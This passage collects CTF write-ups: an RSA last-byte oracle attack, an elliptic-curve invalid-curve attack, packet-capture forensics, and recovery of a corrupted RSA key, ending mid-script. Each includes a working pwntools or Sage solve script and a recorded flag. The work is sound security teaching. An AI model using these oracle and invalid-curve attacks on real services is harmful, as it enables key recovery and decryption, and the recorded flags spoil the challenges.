Recon 12 | 13 | Here's the code in `woahhhh.py`: 14 | ```python 15 | #!/usr/bin/env python 16 | 17 | from Crypto.Util.number import bytes_to_long, long_to_bytes 18 | from Crypto.PublicKey import RSA 19 | import hashlib 20 | import base64 21 | import os 22 | import binascii 23 | import random 24 | from secret import message 25 | 26 | class EncryptionKey: 27 | def __init__(self, e, d, n): 28 | self.e = e 29 | self.d = d 30 | self.n = n 31 | 32 | def encrypt(self, message): 33 | message = bytes_to_long(message) 34 | ciphertext = pow(message, self.e, self.n) 35 | return long_to_bytes(ciphertext) 36 | 37 | def decrypt(self, ciphertext): 38 | ciphertext = bytes_to_long(ciphertext) 39 | message = pow(ciphertext, self.d, self.n) 40 | return long_to_bytes(message) 41 | 42 | 43 | class Woahhhh: 44 | def __init__(self, message): 45 | self.generate_key() 46 | self.message = message 47 | 48 | def generate_key(self): 49 | key = RSA.generate(1024) 50 | self.key = EncryptionKey(key.e, key.d, key.n) 51 | 52 | def get_public_key(self): 53 | n = base64.b64encode(long_to_bytes(self.key.n)).decode() 54 | print(f'[pubkey] {n}') 55 | 56 | def get_secret_message(self): 57 | ciphertext = self.key.encrypt(self.message) 58 | ciphertext = base64.b64encode(ciphertext).decode() 59 | print(f'[eeeeek !] {ciphertext}') 60 | 61 | def send(self, ciphertext): 62 | ciphertext = base64.b64decode(ciphertext) 63 | message = self.key.decrypt(ciphertext) 64 | if message[-1:] != b'!': 65 | raise Exception('I see that nothing amazes you, try ending your message with an exclamation mark !') 66 | print('Woah !') 67 | 68 | def main(): 69 | print("""| 70 | | ~ Hello traveler, I need you to amaze me ! 71 | | Press enter to start the adventure !""") 72 | 73 | input("|") 74 | 75 | print("""| 76 | | Please hold on while we prepare your world... 77 | |\n|""") 78 | 79 | c = Woahhhh(message) 80 | 81 | while True: 82 | command = input('[command] ').split(' ') 83 | 84 | try: 85 | if command[0] == 'send': 86 | c.send(command[1]) 87 | elif command[0] == 'pubkey': 88 | c.get_public_key() 89 | elif command[0] == 'read': 90 | c.get_secret_message() 91 | except: 92 | print('Baka ! that\'s not what I asked for ! ') 93 | 94 | if __name__ == '__main__': 95 | main() 96 | ``` 97 | - Okay. So seems that this is a RSA-1024 crypto challenge and there are few commands available. 98 | ``` 99 | 1. [pubkey] => Get the public key in base64 format. 100 | 2. [read] => Get the encrypted secret message in base64 format. 101 | 3. [send (msg)] => Send the encrypted msg to Alice in base64 format. 102 | ``` 103 | - Let's see what we have for RSA, we could get the modulus $n$, the ciphertext $c$, but what about the public exponent $e$ ? if we look for the function RSA.generate() online we can see that it sets $e = 65537$ by default. Typical RSA problem, looking for the private exponent $d$ to decrypt the ciphertext. 104 | 105 | - However, there is one thing that concerns us. After sending our encrypted message, it would tell us if it ends with an exclamation mark $!$ or not. We couldn’t get any other information about the decrypted message, but just if it ends with an exclamation mark. We could consider this as an oracle function and this would be our starting point as there is no other things in this challenge that we can use for exploit. 106 | 107 | ## Getting ideas 108 | 109 | - Knowing whether the last byte is an exclamation mark - kind of similar to RSA LSB oracle attack! Where the difference is that for RSA LSB oracle attack, the oracle function returns the value of the last byte to us. However, this time, the function just returns whether it is an exclamation mark or not. How could we get the original message with just little information?! It seems impossible! 110 | 111 | - Ok. Well. This task should be similar to RSA LSB oracle attack though. Let’s get some idea from the RSA LSB oracle attack. What we could get is that, the first step of most of the RSA oracle attacks follow these steps : 112 | 113 | 1 - we generate our ciphertext : $c = m^e$ mod $n$ 114 | 115 | 2 - If we multiply our ciphertext with some constant $S^{e}$ : $c*S^{e} = S^{e}m^{e}$ mod $n$ = $(Sm)^{e}$ mod $n$ 116 | 117 | - Therefore, when the server tries to decrypt $cS^{e}$ , it will get $Sm$ mod $n$ instead of the original message $m$ mod $n$ 118 | 119 | ## But wait ! 120 | 121 | - Now we can somehow manipulate what the server will get after it decrypts a ciphertext. Let’s put the encrypted secret message as the ciphertext $c$. What value of $S$ should be chosen? What are we going to do? 122 | 123 | - In fact, usually the original message $m$ is much much smaller than $n$. Therefore, $m$ mod $n$ still results $m$ so that the server could get back the original message. 124 | 125 | - What if we set the value of $S$ very large, making $Sm$ just slightly bigger than $n$ ? In another way, finding the minimum (can be slightly larger) $S$ that satisfies $Sm − n > 0$ 126 | 127 | - This can be written as like the following, where $r$ is the remainder with $r < m$ and $m << n$ : 128 | 129 | 1- $Sm = n + r$ 130 | 131 | 2- $Sm \approx n$ 132 | 133 | 3- $m = \frac{n}{S}$ 134 | 135 | - Tada! We could then find $m$ once we find the specfic $S$ that satisfies the equation! 136 | 137 | ## A very tricky obstacle 138 | 139 | - Assume increasing the value of $S$ from 2 one by one, each time sending $S^{e}c$ to the server, how could we know when the value of $Sm$ exceeds $n$ ? We know that the server will do $Sm$ (mod $n$) everytime, but the (mod $n$) has no effect when $Sm < n$. At the moment $Sm ≥ n$, the server will get ($Sm − n$) as the message. Is it possible to detect this moment? YES! 140 | 141 | - Here’s the time for the oracle function works. The byte representation of $!$ is 0x21. If we multiply 0x21 with 0x01, we get 0x21. The last byte is still 0x21! So this means if we set any value of $S$ with the last byte be 0x01, the server should also get $Sm$ ( mod $n$) with the last byte be 0x21 and the oracle function will return true. UNLESS, for the moment that $Sm ≥ n$, the last byte of $Sm$ (0x21) will minus the last byte of $n$. As the last byte of $n$ will never be 0x00 ($n$ is always odd), the resultant byte must not equals to 0x21 and the oracle function will return false. 142 | 143 | - Therefore, by testing values of $S$ in ascending order that end with the byte 0x01 (E.G. 0x101, 0xA01, 0x12301), at the moment that the orcale function suddenly return false, that $S$ value would be the one that we want. 144 | 145 | ## Finding the message 146 | 147 | Before starting to find the value of $S$, there is one small problem that we have to solve, actually we could not increment the value of $S$ one by one to try (i.e. 0x101, 0x201, 0x301…). As $m << n$, the target value of $S$ would be very large (more than 100 bytes) and it would take billion of years to find $S$ ! Luckily, this is not difficult to solve. 148 | 149 | 1- Repeatly append 0xf to 0x01 as $S$ until the oracle function return false (e.g. 0xf01, 0xff01, 0xfff01…), denote it as $S_{0}$. When the oracle function return false, it means that the value of $S$ is greater than the value you previously tried and smaller than $S_{0}$. 150 | 151 | 2- Choose $S_{0}$ as the value of $S$. Start from the leftmost digit of $S$, for a digit, decrease it by 1 until the oracle function returns true (or the digit reaches 0). If the oracle function returns true, increase the digit back by 1. Then proceed to do the same procedure for the next digit on the right. This makes $Sm$ always larger then $n$, while making $S$ as minimum as possible. 152 | 153 | - Therefore, here is the final code: 154 | ```python 155 | import base64 156 | import math 157 | from Crypto.Util.number import bytes_to_long, long_to_bytes 158 | from pwn import * 159 | 160 | def Validate(msg_long): 161 | msg_base64 = base64.b64encode(long_to_bytes(msg_long)) 162 | msg_full = b'send ' + msg_base64 163 | proc.sendline(msg_full) 164 | data = proc.recvuntil(b'[command] ') 165 | result = data.replace(b'\n[command] ', b'') 166 | return (result == b'Woah !') 167 | 168 | # proc = process("./woahhhh.py") 169 | 170 | proc = remote("host" , port) 171 | 172 | proc.sendline(b'') 173 | 174 | data = proc.recvuntil(b'[command] ') 175 | proc.sendline(b'pubkey') 176 | data = proc.recvuntil(b'[command] ') 177 | data = data.replace(b'[pubkey] ', b'') 178 | n_base64 = data.replace(b'\n[command] ', b'') 179 | 180 | proc.sendline(b'read') 181 | data = proc.recvuntil(b'[command] ') 182 | data = data.replace(b'[eeeeek !] ', b'') 183 | c_base64 = data.replace(b'\n[command] ', b'') 184 | 185 | n = bytes_to_long(base64.b64decode(n_base64)) 186 | e = 65537 187 | c = bytes_to_long(base64.b64decode(c_base64)) 188 | 189 | s = 0x01 190 | count = 2 191 | while True: 192 | s += pow(16, count) * 15 193 | print(hex(s)) 194 | c1 = pow(s, e, n) * c 195 | valid = Validate(c1) 196 | if not valid: 197 | break 198 | count += 1 199 | 200 | 201 | times = 0 202 | while True: 203 | if times < 15: 204 | s -= pow(16, count) 205 | print(hex(s)) 206 | c1 = pow(s, e, n) * c 207 | if Validate(c1): 208 | s += pow(16, count) 209 | times = 0 210 | count -= 1 211 | if count == 1: 212 | break 213 | else: 214 | times += 1 215 | else: 216 | times = 0 217 | count -= 1 218 | if count == 1: 219 | break 220 | 221 | flag = long_to_bytes(n//s) 222 | 223 | print(flag) 224 | ``` 225 | 226 | 227 | # Flag 228 | 229 | nexus{I_G0TtA_$aY_1m_kINDa_1MPR3sS3d} -------------------------------------------------------------------------------- /NexZeroCTF/peekaboo.md: -------------------------------------------------------------------------------- 1 | # Description 2 | Pekora ? Pekora !! or is it peekaboo ? RED VELVET !!! 3 | 4 | ## Files 5 | - `peekaboo.py` 6 | - `EllipticCurve.py` 7 | 8 | # Solution 9 | 10 | ## Recon 11 | 12 | - This is a pure python elliptic curve implementation. After connecting to the server, the public key will be provided and then the menu will be displayed. Here you can choose to use ECDH to communicate with the other party. The communication content is the result of XOR encryption of some known quotes and shared secret. Another option in the menu is to obtain the encrypted flag, which is encrypted with the same public key through a method similar to ElGamal/IES. 13 | 14 | ## Getting ideas 15 | 16 | - The key to solving the problem lies in `Point.__init__` in `EllipticCurve.py` : 17 | ```python 18 | class Point: 19 | def __init__(self, EllipticCurve, x, y): 20 | if EllipticCurve == None: 21 | self.EllipticCurve = self.x = self.y = None 22 | return 23 | self.EllipticCurve = EllipticCurve 24 | self.x = x % EllipticCurve.p 25 | self.y = y % EllipticCurve.p 26 | ``` 27 | - We can clearly see that it's not checking if the point belongs to our curve, so this can be attacked through Invalid Curve Attack. 28 | 29 | - One of the conditions to be able to attack is that there must be an oracle that can transmit a $P$ that is not necessarily on the original curve $E$, and then there must be a way to get the value of $dP$ (scalar multiplication). In our case, $G$ is fixed, so you can only calculate this part of the shared secret as an oracle by sending your own public key. 30 | 31 | - Because the encryption here is very simple XOR, so if you know the result of `choice(cute_lines)`, you can XOR back to the original point of $S$ = $dP$. But the problem is that the choice is random, and it is not practical to predict MT19937 in our case. 32 | 33 | ## Important observation 34 | 35 | - The solution is actually very simple, that is, try the $m$ of each quote once to see if the $S$ after XOR is a point on the Elliptic Curve E. This is because if the wrong $m$ is tested, there is a high probability that the obtained ($x$,$y$) will not conform to $y^{2} = x^{3} + ax + b$ (mod p). 36 | 37 | - So in the case of having this oracle, you only need to implement the Invalid Curve Attack to get the private key, but this is also the main difficulty of this topic. 38 | 39 | ## Invalid Curve Attack 40 | 41 | - Here I will try to briefly describe this attack in a simple way. For details, I recommend Crypton or other explanations. 42 | 43 | - Invalid Curve Attack generally uses some characteristics of scalar multiplication when a `P` that is not on the original curve `E`, uses a method similar to Pohlig–Hellman algorithm to solve Discrete Log Problem (DLP) in different subgroups and then use the Chinese Remainder Theorem (CRT) to solve the original private key. 44 | 45 | - A Short Weierstrass curve looks like this : ($y^{2} = x^{3} + ax + b$) and its point doubling formula ($R=2P$) is : $S$ = $\frac{3{x_{p}}^{2} + a}{2{y_{p}}}$ which results in $x_{R} = S^{2} - 2x_{P}$ and $y_{R} = y_{P} + S(x_{R} - x_{P})$ 46 | 47 | - We can notice that a Short Weierstrass curve does not use $b$ when doing scalar multiplication, so doing scalar multiplication on one point of $P\notin E$ is equivalent to doing scalar multiplication on another curve $E' : y^{2} = x^{3} + ax + b'$ where $b' \neq b$. 48 | 49 | - The problem with this is that $E'$ is usually not the same as the specifically chosen $E$, its curve order $(E') = n$ does not necessarily have a large prime order subgroup after decomposition. When there is a small subgroup of order $f$ on $E'$, we can convert the original $Q = dP$ problem into $(n/f)Q = d(n/f)P$, then the value of $d$ mod $f$ can be solved in a short time. 50 | 51 | - So as long as there are multiple small enough $f_{1},f_{2},f_{3}...$, Use the above method to find $d_{i}\equiv d$ mod $f_{i}$, and then use CRT to calculate $d$ mod $_{i=1}f_{i}$. So to get the real $d$ we have to find enough $f_{i}$ such that $_{i=1}f_{i} > n > d$. 52 | 53 | - Ofcourse, one $E'$ usually does not provide so many $f_{i}$ to meet this condition, so there will be multiple $E',E'',E'''...$ providing different $f_{i}$, then use the same method to solve DLP in the subgroup, and finally apply CRT to get the required $d$. 54 | 55 | - The original curve $E$ of this challenge is NIST P-256, so I fixed $a$ first, then violently searched for other different values of $b'$ to get $E'$, and kept track of the small enough $f_{i}$. For this part, please refer to [FindCurves.py](./FindCurves.py). 56 | 57 | - In order to reduce the amount of calculations later, I saved the generators $G'$, $E'$ and $f_{i}$. 58 | 59 | - Now we only need to use these pre-calculated parameters to pass the $G'$ of each $E'$ as the public key $P$ to the oracle, and then get $Q=dP$, then use the previous method to get $d_{i} \equiv d$ mod $f_{i}$, and finally use CRT to get back $d$. 60 | 61 | ## Retrieving the flag 62 | 63 | - The Flag encryption method, as mentioned above, is a method similar to ElGamal/IES. First take a random number $r$, and then use $C_{1} = rG$ and $C_{2} = (rP \oplus m)$ as the ciphertext, where $P$ is the public key. For decryption, $dC_{1} = drG = rP$, so Xor it with $C_{2}$ to get the flag. 64 | 65 | - Here is the full solution : 66 | ```python 67 | from pwn import * 68 | from sage.all import ( 69 | EllipticCurve, 70 | Zmod, 71 | crt, 72 | discrete_log, 73 | ZZ, 74 | product, 75 | ) 76 | import ast 77 | 78 | p = 2**256 - 2**224 + 2**192 + 2**96 - 1 79 | # fmt: off 80 | params = [(1, (111400716329737223151348215591382049163897085784802947255747133622415879105394, 39992761736411400081935771079229874378216016675324636692947348968013201165276), 115792089210356248762697446949407573529578712231346505346655645343696123459399, [71, 823, 1229, 7489, 30203, 1275057701]), (3, (34266504726973447486459180548292643487847724337670171426426712711400387750583, 60138371845611831098044044361051001381561906121645034148367646836258728425794), 57896044605178124381348723474703786764997697290226498635390133450806309414504, [8, 3, 7, 13, 37, 97, 113]), (4, (60994461011195962431939286456844848923647297199347611431191729822246532069553, 62426215642616303247152786006182702061125085742424406842130689349645400096097), 115792089210356248762697446949407573530301458765764575276748425375978192226668, [19, 179, 13003, 1307093479]), (5, (71313685395178834326364531604654869231864467434116851696884560517318161987679, 101821340297271060469660525972572910942517532355430866592133202449535450498864), 115792089210356248762697446949407573530623378430069411602317684396560437888076, [2447]), (6, (98328297292892910073911108288034018739288802240138328982286164487793843645967, 85875970977714582966534270743420950587010634395302449855090814348562252891660), 57896044605178124381348723474703786765170399658733765334296124169948290588710, [5, 4003, 16033, 102001]), (7, (32182267415664188206799024401454157828877342569034947936468251469301214685887, 81714608356807778323795954214457068204235719807356138251488922465561886798710), 57896044605178124381348723474703786764895334266363519119496655336633469253476, [1151, 7103]), (8, (52964478139609867925944358664879267005927312195945554573928053288055034858008, 28457342866386542781597316732785161846891520538541679020399804279100937535370), 115792089210356248762697446949407573530645391408947993867093428060464810786860, [81173])] 81 | # fmt: on 82 | 83 | io = process("../challenge/peekaboo.py") 84 | # io = remote("6.tcp.ngrok.io", 10065) 85 | 86 | io.recvuntil(b"Watashi no public key: ") 87 | pub = ast.literal_eval(io.recvlineS()) 88 | 89 | 90 | def xor(x, y): 91 | return bytes([a ^ b for a, b in zip(x, y)]) 92 | 93 | 94 | def point_to_bytes(x, y): 95 | return x.to_bytes(32, "big") + y.to_bytes(32, "big") 96 | 97 | 98 | def bytes_to_point(b): 99 | return int.from_bytes(b[:32], "big"), int.from_bytes(b[32:], "big") 100 | 101 | 102 | cute_lines = [ 103 | "fun fun fun fun fun fun fuuuuuuun", 104 | "Bun bun cha! Bun bun cha!", 105 | "pee peeka peekaboo !!", 106 | "Pekora-peko! domo, domo!", 107 | "ok peko", 108 | "it's me pekora!", 109 | ] 110 | 111 | 112 | def get_dlp(b, x, y): 113 | E = EllipticCurve(Zmod(p), [-3, b]) 114 | G = E(x, y) 115 | io.sendlineafter(b"> ", b"1") 116 | io.sendlineafter(b"x: ", str(x).encode()) 117 | io.sendlineafter(b"y: ", str(y).encode()) 118 | io.recvuntil(b'Hora, anata no Ciphertext : ') 119 | ct = bytes.fromhex(io.recvlineS().strip()) 120 | for m in cute_lines: 121 | xy = xor(m.encode().ljust(64, b"\0"), ct) 122 | try: 123 | P = E(*bytes_to_point(xy)) 124 | return P, G 125 | except: 126 | pass 127 | 128 | 129 | io.sendlineafter(b"> ", b"2") 130 | E = EllipticCurve( 131 | Zmod(p), 132 | [-3, 41058363725152142129326129780047268409114441015993725554835256314039467401291], 133 | ) 134 | io.recvuntil(b'Hora, anata no C1 : ') 135 | C1 = E(*bytes_to_point(bytes.fromhex(io.recvlineS().strip()))) 136 | io.recvuntil(b'Hora, anata no C2 : ') 137 | C2 = bytes.fromhex(io.recvlineS().strip()) 138 | print(C1) 139 | print(C2) 140 | 141 | 142 | def get_d(): 143 | rs = [] 144 | mods = [] 145 | for b, (x, y), od, subgroups in params: 146 | print(f"Trying curve : y^2 = x^3 - 3x + {b}") 147 | P, G = get_dlp(b, x, y) 148 | for f in subgroups: 149 | print(f"Solving DLP for group size = {f}") 150 | s = od // f 151 | x = discrete_log(s * P, s * G, ord=ZZ(f), operation="+") 152 | print(f"d = {x} (mod {f})") 153 | rs.append(x) 154 | mods.append(f) 155 | return crt(rs, mods), product(mods) 156 | 157 | 158 | d, m = get_d() 159 | print(f"d = {d} (mod {m})") 160 | 161 | S = d * C1 162 | key = point_to_bytes(*map(int, S.xy())) 163 | 164 | print(xor(key, C2)) 165 | ``` 166 | 167 | # Flag 168 | 169 | nexus{st4n_r3d_v3lv3t_f0r_4_b3tt3r_l1f3_<3} -------------------------------------------------------------------------------- /PatriotCTF/banner.md: -------------------------------------------------------------------------------- 1 | # Description 2 | I was told to find the secret message being sent over this packet capture, but I'm stumped. I've been told it has been hidden in some banner? Can you figure it out? 3 | 4 | Note: this is not related to an http banner 5 | 6 | ![Screenshot from 2022-05-17 10-33-25](https://user-images.githubusercontent.com/101048320/168780964-99d14664-de4e-45fe-ae2e-28cb30aa61db.png) 7 | 8 | 9 | ## Hints 10 | - Packet #4755 looks interesting... 11 | - The tool binwalk will be useful 12 | ## Files 13 | banner.pcapng 14 | # Solution 15 | ## Recon 16 | - pcap files are always sus :3 use wireshark 17 | ## Execution 18 | As intuitive as it may sound, I went ahead and opened the file with wireshark 19 | ![Screenshot from 2022-05-17 10-51-17](https://user-images.githubusercontent.com/101048320/168783618-8e30b769-b8a7-44fe-b5de-c7ecb195c2c2.png) 20 | 21 | Well just to clarify : when I solved this challenge there were no hints provided, so I solved it in the following way : 22 | 23 | After analyzing the packet capture a bit i went ahead and filtered the http requests : 24 | 25 | ![Screenshot from 2022-05-17 11-41-21](https://user-images.githubusercontent.com/101048320/168793328-9407c517-2a57-41b6-8794-401faa34d912.png) 26 | 27 | I saw an http get request so I extracted it in raw : 28 | 29 | ![Screenshot from 2022-05-17 22-24-34](https://user-images.githubusercontent.com/101048320/168912609-67e074e8-4d87-445f-a61f-750a9031c9cf.png) 30 | 31 | now I tried to extract some data from the output file using binwalk and the result was a file system under the name `squashfs-root` : 32 | ``` 33 | ┌─[not1cyyy@0x45] - [~/Desktop/PatriotCTF/banner_FINISHED/_tcpdump.extracted/squashfs-root] - [mar. mai 17, 22:28] 34 | └─[$] <> ls 35 | bin etc mnt proc root sys usr www 36 | dev lib overlay rom sbin tmp var 37 | ``` 38 | now since the challenge name is "banner" I tried to find any file with that name so I ran the command `find . -name "banner"` and here is the result : 39 | ``` 40 | ┌─[not1cyyy@0x45] - [~/Desktop/PatriotCTF/banner_FINISHED/_tcpdump.extracted/squashfs-root] - [mar. mai 17, 22:31] 41 | └─[$] <> find . -name "banner" 42 | ./etc/banner 43 | ``` 44 | so I accessed the etc directory and ran `cat` against the file named "banner" : 45 | ``` 46 | ┌─[not1cyyy@0x45] - [~/Desktop/PatriotCTF/banner_FINISHED/_tcpdump.extracted/squashfs-root/etc] - [mar. mai 17, 22:32] 47 | └─[$] <> cat banner 48 | ad888 888ba 49 | 88888888ba ,ad8888ba, 888888888888 88888888888 88' 88 ad888888b, 88 88 88 ad888888b, ad888888b, `88 50 | 88 "8b d8"' `"8b 88 88 88 "" ,d ,d d8" "88 88 ,d88 88 d8" "88 d8" "88 ,d 88 51 | 88 ,8P d8' 88 88 88 88 88 a8P 88 888888 88 a8P a8P 88 88 52 | 88aaaaaa8P' 88 88 88aaaaa ,8P 88 88 88 ,adPPYba, MM88MMM ,adPPYYba, MM88MMM aad8" ,adPPYba, 88,dPPYba, 88 ,adPPYba, 88 ,d8 aad8" 8b,dPPYba, 8b,dPPYba, 88 88 ,adPPYb,d8 ,adPPYb,d8 aad8" MM88MMM ,adPPYba, Y8, 53 | 88""""""' 88 88 88""""" 88( 88 88 88 I8[ "" 88 "" `Y8 88 ""Y8, a8" "" 88P' "8a 88 a8" "" 88 ,a8" ""Y8, 88P' `"8a 88P' `"8a 88 88 a8" `Y88 a8" `Y88 ""Y8, 88 I8[ "" )88 54 | 88 Y8, 88 88 "8b 88 88 88 `"Y8ba, 88 ,adPPPPP88 88 "8b 8b 88 88 88 8b 8888[ "8b 88 88 88 88 88 88 8b 88 8b 88 "8b 88 `"Y8ba, d8" 55 | 88 Y8a. .a8P 88 88 88 88 "8a, ,a88 aa ]8I 88, 88, ,88 88, Y8, a88 "8a, ,aa 88 88 88 "8a, ,aa 88`"Yba, Y8, a88 88 88 88 88 "8a, ,a88 "8a, ,d88 "8a, ,d88 Y8, a88 88, aa ]8I 88 56 | 88 `"Y8888Y"' 88 88 88 88 `"YbbdP'Y8 `"YbbdP"' "Y888 `"8bbdP"Y8 "Y888 "Y888888P' `"Ybbd8"' 88 88 88 `"Ybbd8"' 88 `Y8a "Y888888P' 88 88 88 88 `"YbbdP'Y8 `"YbbdP"Y8 `"YbbdP"Y8 "Y888888P' "Y888 `"YbbdP"' 88 57 | 88, ,88 aa, ,88 aa, ,88 ,88 58 | "Y888 888P" 888888888888 888888888888 888888888888 "Y8bbdP" "Y8bbdP" 888P" 59 | ``` 60 | At first it may seem like random gibberish but by zooming out of the terminal you'll see the flag ! 61 | # Flag 62 | PCTF{just_at3_ch1ck3n_nugg3ts} -------------------------------------------------------------------------------- /PatriotCTF/coruptaaaad.md: -------------------------------------------------------------------------------- 1 | # Description 2 | We recovered a private PEM key that a spy used to encrypt a secret message, but it appears as though one of the RSA key components got corrupted. Can you find a way to retrieve the message? 3 | 4 | ![Screenshot from 2022-05-17 10-34-45](https://user-images.githubusercontent.com/101048320/169038085-d7ca2823-cf9b-44c9-b75f-f3c0bcc8ad36.png) 5 | 6 | ## Files 7 | - corrupted-privkey.pem 8 | - encryptedmessage.enc 9 | # Solution 10 | ## Recon 11 | - the key seems to be missing an integer or some kind of integer overriding 12 | ## Execution 13 | So the first thing that I did was running the asn1parse command to see the different components of the corrupted key : 14 | ``` 15 | ┌─[not1cyyy@0x45] - [~/Desktop/PatriotCTF/coruptAAAAd_FINISHED] - [mer. mai 18, 13:26] 16 | └─[$] <> openssl asn1parse -in corrupted-privkey.pem 17 | 0:d=0 hl=4 l=1187 cons: SEQUENCE 18 | 4:d=1 hl=2 l= 1 prim: INTEGER :00 19 | 7:d=1 hl=4 l= 257 prim: INTEGER :C91C0D55929BB90511C071DE32A9ACAAC27FE205A0604DB9F5FA6B9FF99226F7487A9D7E1414BA7B46D948DEE09B90BF10DB430B12F453298D70E786C5342916BC4DDB05D4117720E4334C5DC17B155E8F7CFFA17F47248CD900FCCE7FEAB9549400F2484C3CD2EFF0300374FC412B5E428A904361FC2C33200F0CA4E99A79CE481E0F0EBE16CB42517C4CB6851FE1FA05B11678EA232F71ECC3ED5E8BEF6E3DC642C4F7488F0C5296284C4FFD1AFD1BCAC024192870AE6C5647DAB7BF71C350483180B08161A48E716788CC3CECEF26F25355C8028E7D24557CFC0F7F11633D0E4B2B2EA8DB2CCBEFBE5F424938554F24B618421A834798F2CB9DCDAA3E37B1 20 | 268:d=1 hl=2 l= 3 prim: INTEGER :01AAAA 21 | 273:d=1 hl=4 l= 256 prim: INTEGER :6D03966D15A6245F35A720E3C8FD3C87552465C28C2E609924A08D6AC39BFE67F07736CB69D76EAFF93D465E85CCF67089FF4B531D1B602736555277077C137EBF0BD6AADC627429D8E177A83602B07172D644354E90FDA1536A0F0F5F3A5DF77CB45670BEC6C8EAA3D3B9768DDCBC15C26DC417375EF0706AD98A1BE4AD0F4036B44CD7CEE21C57FF6CC8ABC343AB2AC9531754E2E6BC4E5E2481DEA6345EEDCFAD068DDE83420C49CB30267924062DAD26250473ED2606144F6FA437483636098BD14EFB4EC9E27E7A58224AE58475C365114D9A8F90CAD18C44C75DCC92FF64858AAA9EC037FA298EEA93A8775470E3330EC3E29F74B1879E836D5518090B 22 | 533:d=1 hl=3 l= 129 prim: INTEGER :F338F9C19E2D2F1715232E3121FD0A3615B9C6F87757A59BB8C507185BA7CDDE90F4DB7B49D4B0A8AD6E492C49E5D3D75FD61ED27C6D714D68D4330596CC08222CC8B641DF4ACF02D9A9D2A1115CDACC1FC2DFFC56308BCCCC4FCBC64CCE95F991C65DE43F56B67F74F7D2877AF7191B97783226B4F2C5E2AB8B67CBE0162BEB 23 | 665:d=1 hl=3 l= 129 prim: INTEGER :D3ACB64C7F034F4DA31EFC3A1FE6C86AA6536246897D081B4446BEB2A66970EF66962757ED3016E463CCD7077F35347A2AEE37E5B8C2290AA97CC7E1BC84BCECBEF25FFF7C5AF30870E6850100B032BBA6E51C1BFF4CAEB5FDEE46D9DADF1A558E8DAAABAD5191A4EC7929DA109139B7437C36A5B6E911D4EA60E236EB1FCFD3 24 | 797:d=1 hl=3 l= 128 prim: INTEGER :5B98F6777A0D7792CEEF8B3E8971303E09F826115AE81C9BEDBD2DCBB57BB948F21FD50F4C47205BF7FA30566B19E1F86F6E73B42A956869E31A3295C8CED6E9F0EF9BCB94B26AFBD8996BAF1F3DD506F0DD0CD3819EE89F0303256FDB217BD5979B72CEBE00896413C4BDBE561FD22B909892CFB6047ADE3F7F697688970FFD 25 | 928:d=1 hl=3 l= 128 prim: INTEGER :23DDF496B79B578A0D1E56BAE6FF17D10DF1C62C9D5FCD5283235CC12DED626EE2DD367CB1D53C3803ADA5B9E7823536FC9AB40993A9E97E5B0257D1ED8EAD92ED88155046205711A6FD6B228AF7E103F3EFBD09742544C02D448E46CC6BE7EFDF65A3B43A7718EC41AF4BA500B886A8DCEC3EA03572DB8485AA07CF22F1B8D5 26 | 1059:d=1 hl=3 l= 129 prim: INTEGER :B5FE419C7585A617DC2FCED225EAABA4345C3E69CE33823694B1A2FF498A13DA3BD5A3061DD665912149D10E2F08F2199BC1F8B4D62716C6C38BFD16907E6D9F5870A7F19BC3922157C3F60ABCF16AA83248A087A33664E7C91E1398C6EDC85587573C599788E30606F8A5C9706119C3CCEC8EC732A67683F856A414DCAC1C43 27 | ``` 28 | So we notice that the third integer is corrupted : `01AAAA` and from the challenge name we can guess we're on the right track ! 29 | 30 | So here's the thing : the minimum value that this exponent can take is 65536 (0x010000) and the maximum value is 131071 (0x01FFFF) 31 | 32 | The idea here is simple then : we have everything including p and q so we need to brute force the public exponent knowing that we have to generate a private exponent that matches the one we have 33 | 34 | here's a simple python script that does the job for us : 35 | ``` 36 | from Crypto.Util.number import * 37 | 38 | p = 170796690670149105967813113382240505264948946083779586225654103308455488484955325942435054455489163709901661752475987135208117710882465445438716967370656724411467295069033290926317928181839183115857695607269318815355418951302758625104112455758674321597170318312608293648437083737653529431390940141417376656363 39 | q = 148642998867368974873367801833129614874516289477879330501274056446035580016863921172640657206956948700028292330318518525531134043765361989080527137024999373411614110609856551202314420763429763536035853618803223901065359478539557924348825167340722079773893879969151857740258435351842073683199730747819312533459 40 | n = p*q 41 | phi = (p-1)*(q-1) 42 | priv = 13761744353781520241535090155051521309604275579476680716784306044762933961357488224827562217535999947493507674766115812321129673788361142574817557971070748449686502671562600150406609274926237701752769893224204627008072460501416639851704326685417649585674585895088216243892373351458092620189812954760710952411647514051134306291425495198399934563635483021996439038914522228072525917162300334529714139657210200573187092007200148137878796564219640817582728732477620825903532578099970067908169454303632714801798650213786717234256711336277305677096018021695116440207686688923013835576173959490279696050775677855331079686411 43 | 44 | 45 | for e in range(65536, 131071): 46 | if GCD(e, phi) == 1: 47 | d = pow(e, -1, phi) 48 | if (d == priv): 49 | print(e) 50 | ``` 51 | the script gives the following output : 52 | ``` 53 | ┌─[not1cyyy@0x45] - [~/Desktop/PatriotCTF/coruptAAAAd_FINISHED] - [mer. mai 18, 13:35] 54 | └─[$] <> python3 dc.py 55 | 79631 56 | ``` 57 | perfect ! we can now generate a new private key using the tool `rsatool.py` 58 | 59 | and now for the final part : writing the decryption script : 60 | ``` 61 | import base64 62 | from Crypto.Util.number import * 63 | from Crypto.PublicKey import RSA 64 | from Crypto.Cipher import PKCS1_v1_5 65 | 66 | ct = open('encryptedmessage.enc', 'r') 67 | m = ct.read() 68 | message_bytes = base64.b64decode(m) 69 | 70 | p = 0xF338F9C19E2D2F1715232E3121FD0A3615B9C6F87757A59BB8C507185BA7CDDE90F4DB7B49D4B0A8AD6E492C49E5D3D75FD61ED27C6D714D68D4330596CC08222CC8B641DF4ACF02D9A9D2A1115CDACC1FC2DFFC56308BCCCC4FCBC64CCE95F991C65DE43F56B67F74F7D2877AF7191B97783226B4F2C5E2AB8B67CBE0162BEB 71 | q = 0xD3ACB64C7F034F4DA31EFC3A1FE6C86AA6536246897D081B4446BEB2A66970EF66962757ED3016E463CCD7077F35347A2AEE37E5B8C2290AA97CC7E1BC84BCECBEF25FFF7C5AF30870E6850100B032BBA6E51C1BFF4CAEB5FDEE46D9DADF1A558E8DAAABAD5191A4EC7929DA109139B7437C36A5B6E911D4EA60E236EB1FCFD3 72 | n = p*q 73 | phi = (p-1)*(q-1) 74 | e = 79631 75 | 76 | if GCD(e, phi) == 1: 77 | # get decryption key 78 | d = inverse(e, phi) 79 | # create private key 80 | privkey = RSA.construct((n, e, d, p, q)) 81 | key = PKCS1_v1_5.new(privkey) 82 | try: 83 | # attempt to decrypt message with current privkey 84 | pt = key.decrypt(message_bytes, "").decode() 85 | print(f"e: {e}") 86 | 